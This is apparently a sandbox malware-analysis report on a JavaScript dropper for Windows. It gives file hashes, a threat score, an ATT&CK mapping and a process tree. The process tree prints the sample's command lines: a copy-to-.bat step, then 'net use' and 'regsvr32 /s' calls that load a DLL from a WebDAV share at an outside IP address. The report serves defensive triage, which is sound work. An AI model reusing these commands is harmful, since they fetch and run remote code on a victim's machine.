1493244d5d2e3f6e1dd70af0900f7dcad52e26e2b4e5ec55f8f882788b8da1dc

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
11-07-2024 04:17

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General

Target

29980298661952420504.js
Size

5KB
MD5

ebabe2a2f43f3f24055a49ca602bc5fe
SHA1

dacbdce1b2d3c037a6b28c841cbe565a0edd87e0
SHA256

1493244d5d2e3f6e1dd70af0900f7dcad52e26e2b4e5ec55f8f882788b8da1dc
SHA512

c3e85af6fb6014023028849379324099e04d4ee03ee967c3e2bc11a400baa7670254d08de08838cf3653a6f9a3ef0aa3332c73fb671293600e9346d3976ed65c
SSDEEP

96:OX0IBi5g4gbMNXKOR7ORlMdvvU8L/ViQh1HujtFHuVEL1kfLI:ANfMNak7klMdj4Y1HujtFHuVEL1kfLI

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1060	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 2804	2660	wscript.exe	30
PID 2660 wrote to memory of 2804	2660	wscript.exe	30
PID 2660 wrote to memory of 2804	2660	wscript.exe	30
PID 2804 wrote to memory of 912	2804	cmd.exe	32
PID 2804 wrote to memory of 912	2804	cmd.exe	32
PID 2804 wrote to memory of 912	2804	cmd.exe	32
PID 2804 wrote to memory of 1060	2804	cmd.exe	33
PID 2804 wrote to memory of 1060	2804	cmd.exe	33
PID 2804 wrote to memory of 1060	2804	cmd.exe	33
PID 2804 wrote to memory of 1060	2804	cmd.exe	33
PID 2804 wrote to memory of 1060	2804	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\29980298661952420504.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\29980298661952420504.js" "C:\Users\Admin\\eefzgv.bat" && "C:\Users\Admin\\eefzgv.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:912
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\820.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\eefzgv.bat

Filesize
5KB

MD5
ebabe2a2f43f3f24055a49ca602bc5fe

SHA1
dacbdce1b2d3c037a6b28c841cbe565a0edd87e0

SHA256
1493244d5d2e3f6e1dd70af0900f7dcad52e26e2b4e5ec55f8f882788b8da1dc

SHA512
c3e85af6fb6014023028849379324099e04d4ee03ee967c3e2bc11a400baa7670254d08de08838cf3653a6f9a3ef0aa3332c73fb671293600e9346d3976ed65c

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